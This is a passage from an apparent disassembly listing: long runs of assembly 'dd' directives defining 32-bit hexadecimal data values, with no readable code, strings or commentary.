0D320DA4Bh dd 656B151h, 0FE39F180h, 0AB090AC1h, 0F5A114E9h, 69151598h dd 0F0BBC7A1h, 0DA5F4C68h, 0DFCD74A1h, 0E12B996Fh, 0BCAB0486h dd 5DC88420h, 96C60CB8h, 309FE325h, 91189347h, 2486A063h dd 827D8D62h, 2365E3CAh, 6992AAE8h, 638EE3Eh, 4521D9E2h dd 84675E7Ch, 0D6F7FF25h, 0B98CAA4Bh, 13590FB8h, 0C60B1FA7h dd 607B2D03h, 0CB293A24h, 4ED8D025h, 0BE4CC5EFh, 0E5B59913h dd 1D41FCD6h, 0DF2D8940h, 55667723h, 451FAF94h, 18F0030Dh dd 9D0C1930h, 0AADC8389h, 61827ECBh, 0C23F5C68h, 0A0BEC7FFh dd 536F6984h, 0F6820CD8h, 0F183CBFFh, 0BD9DE895h, 0E107D2C7h dd 48E26E87h, 216445D2h, 1BB6FB88h, 0F988E984h, 1C1123Ah dd 8BA3FD01h, 9A21CB97h, 3592B53Ah, 9EB13A18h, 0FDAADE02h dd 0F3682BB8h, 0DEBD3070h, 0B85B53E7h, 25751FE8h, 2ED6858Eh dd 17B20F40h, 7279BFFEh, 9A37CBC9h, 0B2A05F01h, 6F03BB5Ah dd 8A3E0B24h, 0AE870F1Dh, 86692933h, 775686Bh, 0D71B7CF5h dd 0AF7FB463h, 552D0DACh, 90566254h, 0A5D05BE3h, 2EE682C5h dd 4470E710h, 17ED205Fh, 14D80507h, 0B8503B39h, 4E273EF3h dd 21FD09h, 7EFF7F5Bh, 97A26AE9h, 0CF96674Ch, 0F960E200h dd 3FE1D147h, 76E080E9h, 0F607EEC0h, 0C6FED603h, 0F0AEB353h dd 4FE91DF3h, 59670B32h, 0C7D1A14Bh, 9AA53874h, 876A82E2h dd 0E964D4DBh, 674B897Ah, 5A2A3A58h, 0F9DDA854h, 3C60BF5Fh dd 0A370F181h, 12CD56F0h, 1683A407h, 807B2889h, 9E62C8A2h dd 4EF1835Fh, 29CA3757h, 236CC511h, 0AF8F580Ch, 0E9F98CD2h dd 6191F67Eh, 1EEDBB81h, 0C03F5C60h, 34196D84h, 982D5A02h dd 56998093h, 245427E3h, 0B77D410Dh, 58646830h, 8807B6Dh dd 0D7F7498Ah, 4A525130h, 26A97C46h, 0BAD8923h, 0CC55ECD2h dd 0A604A56Ah, 4F0110B5h, 5E85BDBCh, 0BDB530A6h, 0C4276E44h dd 283C7C15h, 57D14E0Ch, 8121AA2Ah, 16809172h, 0C9FE7BB1h dd 6812D9F6h, 0D63124BCh, 813BDEB4h, 0CCF1CCAAh, 0F4EC13ECh dd 0E906B166h, 9D31F61Dh, 23B8B2C3h, 909DE120h, 95F29409h dd 6815997Fh, 373311E5h, 2E32F15Fh, 0F34CF81Dh, 0EC3AD5Ah dd 49B668F4h, 0E00CC0DEh dd 74E947D9h, 0F2EF8AEBh, 4C9975Eh, 680513FEh, 42B3AE65h dd 0C92FC800h, 60E6811Ch, 0B7E5E1Dh, 56C2EE81h, 437E314Ah dd 2A6592D3h, 0C0B1CFEh, 5D57282Dh, 0C4954F1Ch, 88AA22DEh dd 59B52AEDh, 9878F2EDh, 0A1D1E064h, 78AF2ADBh, 76412769h dd 1EA2B020h, 0C806DF70h, 0DE256018h, 0AD3113E4h, 809740F5h dd 796241D5h, 553DFC32h, 64457FD3h, 0A2567B89h, 0AAE6B4EAh dd 6303CDBh, 16E22841h, 4B55158h, 0B29D0DD5h, 0F2808BAEh dd 0F074B0B7h, 0F3024B1Ah, 0B5BB0225h, 0CB449725h, 0E9919FD4h dd 66620659h, 6C70E305h, 0F5B4C067h, 940B692Fh, 0C0B3E918h dd 4BEB68D1h, 0CEA1A24Ch, 5974A9E9h, 17D92576h, 1604F525h dd 0E9D8B429h, 27079249h, 9F3BCC5Eh, 0E01DA259h, 0F6681DCBh dd 69527110h, 72BA1325h, 0BA530B4h, 467E496Dh, 1A849F5h dd 923DA96Bh, 0C4860ABBh, 0A8C580A0h, 0C112E435h, 0F605E526h dd 0A2E86180h, 636CE955h, 39F62BEEh, 0B201B7AFh, 9A71263Dh dd 5280EF81h, 0D8007922h, 33605E5Bh, 0DA6511DCh, 90017C50h dd 0C3076042h, 0DDF65BFDh, 7AB4665Eh, 0F0C5E8EAh, 26D2F858h dd 1346D586h, 7816FA51h, 0BAE2CCBCh, 0D5BF9E98h, 0DA3326CBh dd 8B3C2A77h, 0BED695B3h, 0C6CE851h, 79D1B050h, 6B1224EEh dd 581B41D2h, 932AE80Dh, 416FD69Fh, 88783654h, 3E6AAF5Eh dd 1A0CD5AEh, 0FE895F29h, 3784D680h, 0CAF2204Dh, 8836FB0h dd 31C80C05h, 58ED6DF1h, 0CA2FE742h, 0C1082D04h, 6E22BCh dd 70EA8058h, 0DC7EBD8Dh, 7898588h, 656CFABDh, 78870003h dd 4254F12Ah, 0A91CE916h, 68949CABh, 1802762Dh, 9F7E1A95h dd 10090BFBh, 2EE5D2ECh, 0C1536F5Eh, 41D50FA2h, 84EBDACBh dd 43779883h, 0E0F55182h, 9F3275B2h, 8C4B6178h, 295D6F01h dd 5F4192C2h, 8972F522h, 0BDACF001h, 0F4CE297Dh, 0B0955B50h dd 977178ECh, 9E0985CAh, 5B9AF474h, 4CB50054h, 1322B265h dd 97932BE9h, 0EF576127h, 28686033h, 34D82D00h, 3E10C405h dd 17E91870h, 8ACB2D01h, 217B2C7Ah, 0F5DD7D24h, 67EC3492h dd 87F4F9D3h, 92DFA31h, 6F8823Fh, 14819B60h, 0B82DF426h dd 0CBB10D0Eh, 659261C8h, 0EA5B4F2Ch, 4C66EA6Ch, 0A224805Bh dd 23C82F50h, 4200B2E5h, 51534A21h, 18701F68h, 6859185Dh dd 432703BAh, 0DCAB0BF6h, 56680538h, 36CF337h, 4E632693h dd 4B260629h, 226746E9h, 2B275D95h, 0EA8D5081h, 93CB89Ah dd 31E98BF8h, 5FE57DB2h, 80CE2DBFh, 1055F5Ch, 3CF40FAEh dd 0B2A5C689h, 5CA6B4BCh, 5C71742Ch, 42F4EF02h, 9C9F43B3h dd 0FE4FAFFCh, 0C5845833h, 0E266EAE7h, 0D2950D3Ah, 909BF77h dd 5A98515Dh, 50DDF25Fh, 26E9B58Fh, 0AA8E570Eh, 3E740929h dd 6B055EE1h, 530FA0CAh, 19882EB3h, 330D002Eh, 352CDD73h dd 80170318h, 8269F2B8h, 0D9BD41FFh, 1B2A02Fh, 99B6F55Ah dd 9942B04Ah, 8F405281h, 7C705FCEh, 0A833776Dh, 24B7E6F8h dd 82644A45h, 0D522ADFh, 2CDC5657h, 80E80BE6h, 0EAD7E2CAh dd 7E7240FDh, 0BC3D5A63h, 1B00294h, 69295CBDh, 7980E178h dd 0F82B31BAh, 0E258C133h, 0BB6C11A7h, 6001C311h, 0B671EC0Ch dd 0A0709773h, 709BAEC7h, 0EFE14435h, 1638E27Fh, 0AB4DEE9h dd 7164391h, 5253BDB2h, 0EDB39740h, 31EB0E80h, 0C3AED328h dd 0FF085AACh, 522EF679h, 1409DEB6h, 0EE5CDAFAh, 7010058Fh dd 0ABC82120h, 0BB4E2ACBh, 0BB5B409Eh, 27E9FB38h, 0F46898DCh dd 9A3CD6BAh, 0CE893AF2h, 0BB134934h, 0E9133DFCh, 8421874Ch dd 0DDCBAA29h, 1A0FBC5Bh, 572655DEh, 68041A4Fh, 37A37435h dd 0A74E014Fh, 2957BF6Ch, 0CE98AB7h, 7758510Bh, 798E5E6h dd 0E3CC9D4Fh, 7E384114h, 68281CF4h, 6FA21077h, 949BA844h dd 849BFCDFh, 0BF171BEAh, 402895D6h, 0F30ABB98h, 977C2D61h dd 2B18990Fh, 170C5637h, 0E3EA00F7h, 71F64CDCh, 0ECA7D595h dd 7476780h, 5BC157E1h, 705BE28Fh, 0E913E3FEh, 37A20F9Eh dd 7079E501h, 214D7CEFh, 0CB32D0F1h, 0EA293F05h, 0AC05E5Dh dd 2E2E9FB9h, 27C1DADh, 7B2F4990h, 0CEF40ED5h, 180F8181h dd 0C9D83776h, 0BB5A165Bh, 4A4EAF1Eh, 604401A0h, 9C6BC5E9h dd 935E1483h, 803734ABh, 1341065Ch, 0D7012704h, 0A9BFB8E9h dd 54A20413h, 0FC831887h, 2949A159h, 71EAF02Eh, 4FB01A5Eh dd 82E29404h, 0E177C988h, 20E9FFC0h, 8FBAE44Bh, 0CF680931h dd 204FE669h, 3B98D1BDh, 1ECA8107h, 8337EA0Eh, 0C00134h dd 4E8CC11Fh, 0AF1BE1D2h, 39F1AFBAh, 7A2C02BAh, 17B8F05Bh dd 2F837A1Dh, 6F172EFh, 526DEF35h, 68BD6E49h, 0BF38770Ah dd 12279DF3h, 0BD60F7F0h, 556C1AA8h, 5AE666E8h, 0CF42F85Dh dd 86ED455Eh, 0CBCE5DAEh, 0EC518235h, 774AC889h, 7F693896h dd 25F38029h, 0ED0210F2h, 252161D0h, 0A5C5932h, 5AB9B2Dh dd 5A548C2Ah, 35D0020Fh, 0ED828F5Bh, 0E55DA16Dh, 0E8280B1Ah dd 72F70627h, 2C59C838h, 0D56A9742h, 45E6E2AEh, 0C5907112h dd 0E8E0162Fh, 4A7EFE0Eh, 3313BAD1h, 0AE5ADFB7h, 69F8C27Ch dd 0EAD78D6Eh, 288E04D3h, 0F9305A03h, 917693E7h, 65F134Ch dd 134D1164h, 54E8080Ch, 891D06D0h, 2535AB8Bh, 81AC273h dd 814090Ch, 542520EAh, 0E0222585h, 979AA7C9h, 4F55DA57h dd 3BCFE181h, 0E90A9C9Bh, 989299A9h, 7E864FBh, 1028ED5Ch dd 0BA276189h, 78A7BC5Ch, 13D8CE4Bh, 68A6D8D7h, 1954B027h dd 96A4813h, 6AD95329h, 3B106840h, 0E97909E8h, 0B0799E37h dd 199B943Eh, 0E4FBD2BEh, 0E107C082h, 4BF18006h, 930CB3Eh dd 0CAF60243h, 0C55D055Eh, 8765FF28h, 0AD6DEAAh, 4C5A4A68h dd 15FEBDBDh, 4A0A5692h, 0A94987BBh, 59F834DCh, 0DF44BF69h dd 8B09B41Ch, 3F3C133Eh, 9A5E2FCh, 8F685E74h, 303D2ADCh dd 220C9601h, 875A91F3h, 90AAC5DEh, 0A1685F1Dh, 0DD096A9Dh dd 5217C21Ch, 0C649D0E9h, 0F672E429h, 8D664FFBh, 9ADE43FBh dd 5568028Ch, 0B823A028h, 17583CB9h, 84BFE96Ch, 26CBEA7Fh dd 0B16F4454h, 52330944h, 317B1D20h, 0DC9F64EBh, 96F50B0Bh dd 0B0FEC8D7h, 897E2C75h, 2B123F06h, 0BF2A528Dh, 0A9689780h dd 198955Ch, 0ED0621E7h, 0F7555D77h, 5F2A3079h, 0C8436ABFh dd 35584E01h, 3B5207DAh, 7A187328h, 51E59D0Ah, 23D80282h dd 68530042h, 23C4474Dh, 81E913AAh, 0FF53598Eh, 48C4E323h dd 524BDA43h, 0CD0F129Ah, 0DB22DA6h, 67F6685Dh, 81C94120h dd 7EF2D954h, 0FD5E0EA8h, 0D35685ADh, 612AB3EBh, 3098B378h dd 95866330h, 585EC05Ah, 7FB769AAh, 1057D62Ch, 1249D8E9h dd 0F4AAD687h, 82053825h, 0F009DC9Bh, 393EC604h, 0B52FCFB5h dd 6C51ECEFh, 31C098AAh, 260FF87Ah, 245480BDh, 66F93163h dd 73101201h, 70D5F774h, 0DE9FD41Ah, 4B65CFC0h, 0D647FBF4h dd 663008BAh, 2D424A25h, 0F456DAF7h, 0BF7522Dh, 1BB01761h dd 95E02FDh, 0E04657D8h, 4E89E958h, 7EF639FEh, 0B53A1A39h dd 31992EBBh, 34B5673Eh, 9EAB102Ah, 8B26AA7Eh, 3BFFCE12h dd 6B5D04EAh, 0BEDDFA15h, 0AFD36338h, 0CE62018h, 0BF4DEA10h dd 642158C8h, 0B004E8B5h, 0B7C5E00Dh, 77A71C74h, 58C7D802h dd 80842EC1h, 5C9CA7Dh, 7D877BEBh, 2362DF2h, 2D4294D4h dd 0B695295h, 1D8D336Fh, 61021F8h, 0D3075AABh, 0C008774Fh dd 8D2413F3h, 0D60C7860h, 546BAA45h, 0BE5E509h, 29286214h dd 0FEDF083h, 89950E78h dd 6196FD70h, 28C58002h, 23FFE830h, 0B90288CFh, 1E7797F1h dd 0CAF7C00Ch, 733D2E78h, 0A3F902B6h, 487C7F69h, 2F97F42Dh dd 42986848h, 0D5098E27h, 45681021h, 64CC2E25h, 0F59641F3h dd 3B37BE0h, 5885523Ch, 9879DE3Ah, 0B2F85AF2h, 0E4E659Dh dd 32E5C8BBh, 6931630h, 0C5658B8h, 72543F01h, 6642E97Eh dd 5958223Ah, 0CB30B0F7h, 614E2F37h, 0FAB89E78h, 32BD6812h dd 0D2D02FF2h, 5418A306h, 6B9F0C7Eh, 0A7F8051Dh, 5F36460Fh dd 9808A884h, 77D44877h, 904F0BDEh, 799087EEh, 3FB6854Eh dd 129D6210h, 34068851h, 2C94E7h, 5C5B792Dh, 50AA053Ch dd 0E2312A27h, 9E855F10h, 0CD87FE84h, 4212E960h, 0FA614E8Dh dd 25080A10h, 643AF55Eh, 0BDFD65F7h, 0F7ADD0B3h, 95A8CAD0h dd 3BCFEEC0h, 41012F2Dh, 0A80804FBh, 90F94A2Eh, 0B3091AF6h dd 0EA432118h, 53080915h, 69C70BECh, 0DCD6DCA6h, 0F09567Eh dd 0D7148B7Ah, 6841E471h, 0A22F0191h, 5F87D046h, 554B9E5Dh dd 28F10F2h, 0FEDD12F6h, 758709C5h, 0E0B9027Dh, 0A8677740h dd 7DBF6802h, 54725D93h, 50DAE92Fh, 0B03CB520h, 593DE20h dd 32687DB2h, 8BFE4557h, 0C2B3B8ACh, 40255399h, 418F132h dd 217D161Bh, 96D1BCC8h, 580C625Eh, 0A1DE7941h, 982ACA97h dd 0D440239Ah, 803E984Eh, 5999DBCh, 0CD68CF58h, 864AD92Ah dd 0E7178852h, 0CDDD2A5Ah, 0B768164Ah, 8972B918h, 0F5DE42F3h dd 9FC2FDC8h, 1C96CE14h, 0FEB94AD7h, 6BD7F197h, 1089FBF9h dd 0F2201FF2h, 0E055764Dh, 0B412BF5Bh, 506A7155h, 51BC9BE9h dd 3F8B911Dh, 5B22FA6Eh, 0E673E4FCh, 78B3719Dh, 1999AA73h dd 45B5BCA0h, 74128854h, 0C64EFF20h, 89A41F13h, 9A681358h dd 0A473A920h, 799A8C2h, 0E8D96451h, 29EE4BB5h, 6EF72A80h dd 4F765A11h, 0A5F1CEECh, 0E3C00010h, 0C3801206h, 0A81EAB62h dd 0E9A7816Dh, 0A96B71D4h, 9655C8BFh, 4BD5EF5Dh, 9B0F82EAh dd 5A5D3C4Ah, 288A70CAh, 9A543BAh, 406D43Eh, 3444F355h dd 6E9CC142h, 0F3A86AAEh, 0A2F1F084h, 0BD55014Eh, 37E36E27h dd 0C0684AF9h, 0BA482934h, 4711901h, 96816D93h, 780BCF35h dd 6C589866h, 685C5C7h, 89390E2Dh, 905BCAEFh, 0B72367FEh dd 0E67FFBD1h, 390B9723h, 30AFB02h, 518EC7F1h, 4B06421Ah dd 0FC504250h, 31C95341h, 348BF0F0h, 2457A9Bh, 0A20B98AFh dd 0BBA2840h, 2F686D5Ch, 589D1081h, 0EAB0E7B5h, 572C0DA1h dd 0E985492Dh, 20FA78B8h, 40478F66h, 72C5B49Ch, 0E4E05D0Ch dd 7968805Fh, 0D6B76C70h, 14DDC90Fh, 53F6B570h, 0DD0BC5A0h dd 5E49111Dh, 0F52103EEh, 4B3B9DE9h, 0BD5A1659h, 2AEB89EFh dd 8253F9CAh, 69399E25h, 1694EC53h, 62334C2Dh, 0B3C74013h dd 69F8BFCCh, 4943D1B7h, 739CE95Eh, 0B9D979F3h, 837979AFh dd 0B64B504h, 0F9868207h, 0CDA9E1h, 0F016EB80h, 14F9EB0h dd 7525F4B9h, 0F0AC303Ch, 90FE0DD7h, 69A9E9F6h, 255CE697h dd 0E65B4BA7h, 4EE4D43Eh, 0C440D351h, 1C5EAB45h, 4B00EC16h dd 2C843FBAh, 0ADF64BE9h, 7DF71749h, 4A0BE8F4h, 0D461BEA7h dd 0AC6E9A2Ch, 39BEA561h, 0BDF1C80Ch, 5E9EAF9Eh, 7A0EB68Bh dd 4B93FE15h, 1282A3A1h, 0F8F6595Ch, 10DCC302h, 0DFE1317Ch dd 57E26E2Dh, 0F2989D12h, 0FE5885h, 39115CB7h, 2F9482BBh dd 0EFC9A5Fh, 90C5860Ah, 1A1DCA8Bh, 7BF0BBh, 0C5CD3558h dd 0C601DAA8h, 13BB36F1h, 13FB4DE9h, 30378A42h, 138D7651h dd 0B9500122h, 379C48DEh, 37C17B31h, 0E49059CEh, 135F3BA6h dd 78B7A4F9h, 99422927h, 22A9FFh, 5715E25h, 6C350452h dd 0BB679A7Bh, 6902FBDh, 6ED90993h, 0BF02C5D7h, 0B3D44B70h dd 0BD0BD3DCh, 6AB6D1E6h, 6C3D04B2h, 0A0C0EFD9h, 4C405938h dd 0FE173323h, 66CAAF4Fh, 0C4595548h, 482E1948h, 26C58C75h dd 6941AA1Fh, 0FA4B842Fh, 0B9960C69h, 5CD4E038h, 897FFC9Dh dd 0D15765CFh, 27C96FCBh, 7F95E3F8h, 5230649Eh, 0CFEE234Ch dd 0BD477E2Fh, 9C63305h, 0F7075D08h, 4659C36Bh, 0DC10EAFCh dd 53FC4F08h, 0B0D75E2Fh, 4A43E98Fh, 0C625E893h, 6103E9Bh dd 0F662F380h, 7000AD3h, 665BD988h, 95517E68h, 338775FCh dd 0ECCAE120h, 50F70267h, 1A0CFFD7h, 90C07458h, 0B353000Bh dd 30F2B667h, 0F1E65BDEh, 0D771E917h, 0F0C866C4h, 59529C5Eh dd 579D2CB7h, 0AEBA2721h, 0A5CDCB5Ah, 0BC9C5CD0h, 6F299D82h dd 0B7922F22h, 740F6CC4h, 6B4E8756h, 0D68CA9AEh, 4C460843h dd 0D0458F68h, 902944BFh, 10F7F337h, 5A121A0Eh, 5A63AF55h dd 0BE7F0378h, 43064560h, 7F71E3D1h, 0E3527D72h, 4FDFBCFh dd 0E10DF92Fh, 86F3B862h, 7B9A4EDh, 22B13E3h, 0C1EB6435h dd 70C24A2Fh, 0FE9FB03Ch, 74314245h, 24787DABh, 7727C20h dd 4570482Dh, 95A8A41Ah, 5C37BDA7h, 6F9F708h, 69FB8C96h dd 0CED2B0E3h, 275047BFh, 37637ED9h, 0E93BE065h, 6F90415Dh dd 4B30C8B0h, 0E9DD7594h, 5101741Eh, 0E9488405h, 0F33FB770h dd 57C9C0E0h, 0B0631C75h, 36AE0943h, 6AA4482Ch, 5E9DD356h dd 4DC180F7h, 0E6E8799Ch, 2060362h, 7E1D4046h, 0FD8A044Ah dd 1698F8E9h, 8D164512h, 1F7353A9h, 12C2D5A5h, 5EE7A6C8h dd 7DEE3EC5h, 0F7D2DDDh, 13B05305h, 0AACA4F0Bh, 0C00FBA5Eh dd 5414DAE3h, 4E772728h, 47AB66Bh, 0C8B5EEE9h, 5D4BF5D3h dd 5CC904ACh, 49AA3508h, 1866801h, 3BE5EDECh, 12BAAF12h dd 1616B96Ch, 0A004E829h, 0BF00DFDBh, 47F95661h, 59B522BAh dd 4F5528C0h, 0BA1917F1h, 9360599Dh, 0C5D9977Eh, 605A4126h dd 2D9FA216h, 49821AAEh, 0D9DDB215h, 0A5AE4F87h, 0E4D38BCh dd 372DAAB4h, 452DC100h, 48D8B825h, 47201B30h, 0A8E6E180h dd 661A4114h, 93913AF8h, 0B0011568h, 3A99F6BAh, 7EEC7B21h dd 0EF254BB4h, 408D310h, 6299685Eh, 0E9ACF092h, 0E22B5A42h dd 777AC7F7h, 90465D09h, 9D497E9Fh, 0B6C2EFE9h, 64DDE7Ah dd 12D260Dh, 44AFED0Fh, 0DFB44E7Dh, 787445F1h, 0C2DE2F1Ch dd 56E77DC8h, 1D843033h, 0CBD1213Ch, 905D7F1Eh, 3D9EEE47h dd 0FD59584Dh, 0E779E909h, 0E2050C20h, 0D3907A36h, 702304Ah dd 0DF03FC68h, 822059C5h, 2F684740h, 7B98624Eh, 5781ED7Fh dd 0ABE9817Bh, 0BD108162h, 557A2150h, 9C72F42Eh, 0AAF44216h dd 2FBDA784h, 55946882h, 925174A7h, 4A54577Dh, 0A394DFD2h dd 0D684E913h, 6267E098h, 1538DBFEh, 3F4034C4h, 59E998B4h dd 30C46EE2h, 419AEFD0h, 0CE13134Dh, 783DA26Ch, 90412120h dd 0D336FEAFh, 3BD5B187h, 892F26A8h, 7727AF74h, 0D1BD01BCh dd 68A0CC85h, 0B9B09B4Eh, 765BD54h, 8E1CE984h, 532CCCFEh dd 7791CEABh, 0FB682A28h, 8B3E24E9h, 0D2D69DFFh, 0B87BE05Eh dd 0F713A100h, 3CF3564h, 0E0167F46h, 0BB6EB578h, 0D690F8C9h dd 26046F7Bh, 2CF7CA65h, 87245080h, 24674F08h, 0BF570B74h dd 29E8A9FDh, 0E4B0FD7Ch, 6C3B82EEh, 8292DD0h, 5A090864h dd 72D47456h, 0B032367Ah, 762DE532h, 84B10B9Bh, 803C01D7h dd 0F1CCF0E1h, 9D7ABD4Ah, 7F91762Fh, 9970BB38h, 0C7D7F780h dd 0FFE7C104h, 0CC78528Bh, 0A51540BFh, 462F3761h, 0CB5DD00Ch dd 0CA6489A9h, 17ACBD58h, 81681676h, 161DF61Fh, 0C9F9B9E9h dd 0E58EA25h, 9837B89Dh, 62AF965Ah, 65567942h, 2354F3BFh dd 0F77A660Fh, 0B3FE7B8h, 68CFA70Ah, 0B0DFB31Eh, 0C3FEC73Fh dd 32770B9Eh, 8A0D14Bh dd 0B82059E0h, 0DE6E6C0Bh, 0A8F5F92h, 0C04A4976h, 930B52F6h dd 8915D1D6h, 794E8FAEh, 0BCBF0F2Eh, 0B0139909h, 81449520h dd 5A30DB01h, 20C3757Ah, 1F172791h, 0BA0AC850h, 0BB8A0FB5h dd 13118F0Eh, 68D2CCEEh, 0D979D72Eh, 42DA7C2h, 7CACBE58h dd 9502FAD2h, 0C864E957h, 2A6853FFh, 5DF6512Ch, 376A965Dh dd 94E9582Ah, 2980039Fh, 0B6C0B9EAh, 84A6C42Ch, 5AA8709Fh dd 146BFDDh, 0BCEFEC4Ah, 49752592h, 0E02E667Fh, 6440C106h dd 36BC9897h, 865D734Ch, 0B63BE033h, 1B68F058h, 91B3C571h dd 0A453FC67h, 0A97AB8BAh, 12EBBD6Eh, 42F26895h, 0BB2EFD84h dd 2060E7D9h, 0BDBB4019h, 285FBF03h, 2C58355h, 5437EDA6h dd 8C8E2C51h, 682A8893h, 0D846A05Bh, 28D74E50h, 7B8F5FCEh dd 0FCA23267h, 0DB52ED17h, 18EDC0BFh, 5A069CFAh, 0A1699104h dd 7AB02316h, 0E829F92Fh, 7ACB8010h, 7FD42D8Ch, 0D3A79A59h dd 9AA53B06h, 5698E8FBh, 285D2C24h, 71D63E73h, 0C168808Ah dd 84367B49h, 59090802h, 90BE252h, 806AD00Dh, 0DF54EC2Ch dd 417895AEh, 0B3B2D733h, 7872B9DDh, 0EB34302Eh, 0EE3F40A0h dd 57A31628h, 5B0ED3CCh, 0F774ABC2h, 0A9A29694h, 1458F2C9h dd 0C61807Bh, 0FD309806h, 97F3BF5h, 6D71599Ah, 0E6369962h dd 0EE68165Ah, 42DE30Ah, 7BFC6778h, 81A185AEh, 41D5D5Bh dd 0F0AA1684h, 0A1B15B09h, 71C7A6Bh, 754274B3h, 215C4901h dd 0E9090C68h, 6880A11Fh, 19331645h, 3D1ACA40h, 0B9849107h dd 0AB973274h, 7F011A82h, 7B494B66h, 0E3B81D02h, 0D14B6042h dd 4EE382E0h, 0F446DD5Ch, 0D027B174h, 25B56445h, 0CF5F6946h dd 5B4B28FFh, 4E07E35Ch, 0BB9673ECh, 4B6741C1h, 0E0F7FE02h dd 0BD28ECF9h, 0F0546E8Bh, 0DC21D76Bh, 88367B68h, 1DBA435Dh dd 243F8B5Ah, 6881987Ch, 6C156227h, 3F60220h, 3A757B6Eh dd 1003EED1h, 7C4F45CBh, 496FE56h, 14DF0493h, 20818258h dd 152DECF2h, 4C24659h, 11C621A1h, 38FDAE29h, 98DBC700h dd 0C9E96F52h, 0C1DB8262h, 9ED45758h, 0E4E8F7C4h, 4E715D05h dd 5621C587h, 8871F4B7h, 8A405398h, 0E1DD4B87h, 5503928Ch dd 175D422Ch, 0FCD5F75Bh, 0CCE9C7C6h, 8B8E5489h, 50D67AD6h dd 5FE90278h, 688902ECh, 69547314h, 3D7A0A60h, 0CC296250h dd 3CA97E9h, 0B4700D7h, 0B8424069h, 0A6629705h, 4BF2BCD7h dd 0E235BF5Ch, 3DBC3485h, 20B55928h, 0BD002A46h, 72437393h dd 0D497F581h, 522E060Dh, 2CEC838Dh, 942DE330h, 0FD4E0B46h dd 109428B6h, 9C462C0Ah, 0BC1FC66Bh, 6E684127h, 0F97DC20Fh dd 0BE1CA69h, 94C48AF4h, 6257C1F1h, 0FA2984E2h, 5A268C7h dd 9C41D72Fh, 0B6136E34h, 4B8F37A3h, 5D777590h, 256ECFBFh dd 53F1C4F4h, 882ECC78h, 4A2A97D4h, 25A231ECh, 0E08089D8h dd 0F11E178Bh, 76AF0124h, 0F7BE58FFh, 0A80A0C92h, 0B838AE0Ah dd 4951DF09h, 2FCBD1E9h, 5307A665h, 8D66AB31h, 1A8F682Dh dd 0A20C01Fh, 968C4825h, 0B4B1B817h, 0D124D6Dh, 0E3EAFC78h dd 1DC01C6Fh, 9F30F725h, 77A0F821h, 0B880609Dh, 861F042Dh dd 84C6095Ah, 25E0FC7Bh, 25149659h, 12011968h, 95F384E9h dd 5BC230E9h, 6A1929ABh, 0F2BB3B34h, 1796C1B6h, 0D87F5828h dd 17CB9202h, 2D648031h, 753809E2h, 69A7016Dh, 0F001211Eh dd 68074005h, 109E1F34h, 0A9AE5764h, 42BF4B58h, 9947315Fh dd 0E95EDCF0h, 0BA52B931h, 4FE4A86Ah, 2EE987B4h, 0BBF24466h dd 0F3FCA513h, 6BA3500Ch, 2202C182h, 0C027C3CCh, 0EBC07C06h dd 0DB4CF604h, 0C4802CCh, 60102CF1h, 173058D0h, 85FCE9D9h dd 0F49DFFCFh, 0C0BE6BF4h, 3BF1B91Ah, 0F394737Eh, 90EB2117h dd 603629D9h, 7A56813h, 25DF638Ch, 190071E9h, 0E10D84BDh dd 4AAB6348h, 2FE94BF4h, 672DEA8h, 162A5F09h, 88270057h dd 9826D8CEh, 0BE10EED3h, 0C62C14B7h, 4E81Dh, 663AB252h dd 8B4EB753h, 0FEB5C1BEh, 0C9B232CAh, 5DC90BB7h, 2C0A4046h dd 9C39E923h, 0BCE5898Ah, 0C17D8507h, 29796851h, 75FC326Ah dd 0C2819C76h, 693E2ABAh, 1F36DEDh, 0BB49C317h, 2B2921FAh dd 0B924CFDh, 0EBF243D2h, 64916AF5h, 0C002D291h, 340811DCh dd 88590935h, 27D796DFh, 9A8395E9h, 8CB9D601h, 0E6A76E79h dd 0EED0F02Fh, 0C4C48D4Ah, 84EFE3EBh, 0B5AC3E4Eh, 0B281AFC4h dd 12F24CABh, 0F6A46DD6h, 0AA141EE4h, 2785C93Ah, 65C1659Bh dd 2DA736EEh, 0BBECE17Ah, 0D8B6C83Bh, 685A5B06h, 37C91312h dd 645DA1CDh, 95FDEE07h, 7B312206h, 10F0C53h, 9C9DEFC5h dd 0B27199C5h, 0DDBA7782h, 0D9F7B3EAh, 55956222h, 0F3D8F0D4h dd 0C2B1CBCEh, 0A8E030DCh, 209662Bh, 61DEE781h, 8472755Eh dd 0D4EF872Ch, 582D8B28h, 67C8D638h, 9EF509BDh, 8A49C22h dd 7C273FA6h, 0A94E47FCh, 162D5B5Dh, 0F850FE2Dh, 93CC50E4h dd 9FFE6880h, 540A66D3h, 0BF82736Ah, 802A0FE3h, 0F41DBB9Dh dd 0E9840BD5h, 0D94401C6h, 5AF416E2h, 0F72514B4h, 558203EDh dd 90276668h, 1610832h, 0CF814E30h, 31A10280h, 53896018h dd 89782C16h, 0E94B60BAh, 21919709h, 574A102h, 0EA8AD05Bh dd 1AE1E07Dh, 20D82952h, 6F4A0829h, 0A034B505h, 0C300BBB2h dd 81547360h, 4502FCBh, 0C4E93625h, 6E31FE94h, 416A5A9Fh dd 0D42A96BCh, 17D92013h, 5E767E74h, 19AEE204h, 45C03991h dd 131ADFCAh, 4EFDE9FAh, 3DC95EDBh, 0A057B32Bh, 276CF7BDh dd 4E227EBBh, 6074D7DAh, 33C477EAh, 767051F6h, 0E2A5DEBDh dd 83095D7Bh, 8A5F2DD8h, 87895D5Bh, 639ED146h, 0A9228509h dd 7CBB853Ah, 0FDE161BEh, 9AE20787h, 0F64D6C06h, 0FE1AD0CDh dd 7731B13h, 0D3FB878Fh, 694183B1h, 0C5F7E0D2h, 0BB9BDD4h dd 40C5B1Fh, 41FB0549h, 8B9BF432h, 4FA07898h, 8A4E8DB9h dd 54E098D4h, 0B509860h, 9A80E948h, 0E5816CE4h, 5D162A83h dd 0F809FFCAh, 19D7505Fh, 51C7Bh, 0F217C3F1h, 53050585h dd 0C1315B58h, 0F0B2E2FFh, 0BDC8315Ch, 75EFD438h, 0F018C4BFh dd 0B4104013h, 0D45E3170h, 0F53F87C2h, 0D6EB5361h, 64C0941h dd 56550042h, 117ADA68h, 89905E17h, 296DCE0Bh, 270A054Fh dd 81EC5DD5h, 34F80925h, 0F682D37Fh, 42B5091Eh, 78F630D7h dd 3F99D44h, 10E2068Ch, 0C1C3A35Fh, 6D226964h, 153CE709h dd 6FCD4702h, 5907C320h, 0B1335E38h, 88CCA65h, 9097AD3Ch dd 8085EE89h, 0E6078146h, 37CE515Ch, 0DF427DC2h, 56988366h dd 4576C80Fh, 55E94533h, 0F002D1AAh, 72A4103Ah, 